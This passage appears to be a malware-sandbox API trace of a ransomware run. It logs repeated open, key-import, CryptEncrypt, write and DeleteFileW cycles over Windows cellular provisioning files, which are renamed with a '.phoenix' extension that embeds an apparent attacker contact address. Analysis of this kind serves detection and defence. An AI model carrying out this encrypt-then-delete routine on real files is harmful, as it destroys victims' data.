	[0236.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\149__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0236.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\149__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0236.361] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\149__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0236.361] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.361] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.362] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\149__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0236.362] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1510c0) returned 1
	[0236.362] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.362] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cf, lpOverlapped=0x0) returned 1
	[0236.365] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0236.365] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0236.365] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151100) returned 1
	[0236.366] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.366] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0236.366] CryptDestroyKey (hKey=0x151100) returned 1
	[0236.366] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0236.366] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0236.366] CloseHandle (hObject=0x2f0) returned 1
	[0236.366] CloseHandle (hObject=0x2c0) returned 1
	[0236.366] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\149__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml")) returned 1
	[0236.367] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0236.367] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\14__connections_cellular_optus (australia)_i5$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0236.367] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=715) returned 1
	[0236.367] CloseHandle (hObject=0x2c0) returned 1
	[0236.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\14__connections_cellular_optus (australia)_i5$(__mvid)@wap.provxml")) returned 0x20
	[0236.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\14__connections_cellular_optus (australia)_i5$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0236.368] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\14__connections_cellular_optus (australia)_i5$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0236.368] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.368] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.368] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\14__connections_cellular_optus (australia)_i5$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0236.368] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1517c0) returned 1
	[0236.368] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.368] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cb, lpOverlapped=0x0) returned 1
	[0236.370] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0236.370] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0236.370] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151500) returned 1
	[0236.370] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.370] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0236.370] CryptDestroyKey (hKey=0x151500) returned 1
	[0236.371] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0236.371] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0236.371] CloseHandle (hObject=0x2c0) returned 1
	[0236.371] CloseHandle (hObject=0x2f0) returned 1
	[0236.371] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\14__connections_cellular_optus (australia)_i5$(__mvid)@wap.provxml")) returned 1
	[0236.372] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0236.372] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\150__connections_cellular_e-plus (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0236.372] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=854) returned 1
	[0236.372] CloseHandle (hObject=0x2f0) returned 1
	[0236.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\150__connections_cellular_e-plus (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0236.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\150__connections_cellular_e-plus (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0236.372] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\150__connections_cellular_e-plus (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0236.373] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.373] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.373] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\150__connections_cellular_e-plus (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0236.373] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151280) returned 1
	[0236.373] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.373] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x356, lpOverlapped=0x0) returned 1
	[0236.377] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360, dwBufLen=0x360 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360) returned 1
	[0236.377] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x360, lpOverlapped=0x0) returned 1
	[0236.377] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1514c0) returned 1
	[0236.377] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.377] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0236.377] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0236.378] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0236.378] CryptDestroyKey (hKey=0x151280) returned 1
	[0236.378] CloseHandle (hObject=0x2f0) returned 1
	[0236.378] CloseHandle (hObject=0x2c0) returned 1
	[0236.378] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\150__connections_cellular_e-plus (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0236.379] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0236.379] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\151__connections_cellular_deutsche telekom (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0236.380] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=863) returned 1
	[0236.380] CloseHandle (hObject=0x2c0) returned 1
	[0236.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\151__connections_cellular_deutsche telekom (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0236.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\151__connections_cellular_deutsche telekom (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0236.380] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\151__connections_cellular_deutsche telekom (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0236.380] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.380] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.380] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\151__connections_cellular_deutsche telekom (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0236.380] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151100) returned 1
	[0236.380] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.380] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x35f, lpOverlapped=0x0) returned 1
	[0236.382] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360, dwBufLen=0x360 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360) returned 1
	[0236.382] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x360, lpOverlapped=0x0) returned 1
	[0236.383] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151380) returned 1
	[0236.383] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.383] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0236.383] CryptDestroyKey (hKey=0x151380) returned 1
	[0236.383] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0236.383] CryptDestroyKey (hKey=0x151100) returned 1
	[0236.383] CloseHandle (hObject=0x2c0) returned 1
	[0236.383] CloseHandle (hObject=0x2f0) returned 1
	[0236.384] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\151__connections_cellular_deutsche telekom (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0236.384] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0236.385] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\152__connections_cellular_vodafone.de (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0236.385] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=724) returned 1
	[0236.385] CloseHandle (hObject=0x2f0) returned 1
	[0236.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\152__connections_cellular_vodafone.de (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0236.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\152__connections_cellular_vodafone.de (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0236.386] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\152__connections_cellular_vodafone.de (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0236.386] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.386] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
